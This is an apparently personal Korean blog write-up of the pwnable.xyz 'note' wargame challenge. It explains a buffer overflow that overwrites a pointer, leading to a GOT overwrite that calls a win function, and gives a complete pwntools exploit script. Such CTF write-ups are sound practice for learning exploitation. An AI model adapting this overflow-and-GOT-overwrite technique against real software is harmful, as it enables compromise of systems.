pwn/pwnable.xyz

pwnable.xyz / note

lok2h4rd 2022. 5. 6. 15:29

main

  1. note를 수정하고
  2. desc 수정
  3. exit 

 

 

edit_note

원하는 만큼 길이만큼 데이터를 쓸 수 있다

 

edit_desc

buf에 저장된 주소에 데이터를 쓸 수 있다

 

edit_note에서 bof가 터져서 buf를 덮을 수 있다

 

flag

edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다

( 서버가 닫혀있다.... )

h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py 
from pwn import *


#p = remote("svc.pwnable.xyz", 30016)
p = process("./note")

win = 0x40093C

def edit_note(length, data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Note len? ")
    p.sendline(length)
    p.recvuntil(b"note: ")
    p.send(data)

def edit_desc(data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"desc: ")
    p.sendline(data)

payload = b"A" * 0x20
payload += p64(0x601238)

edit_note(b"48", payload)
edit_desc(p64(win))

p.interactive()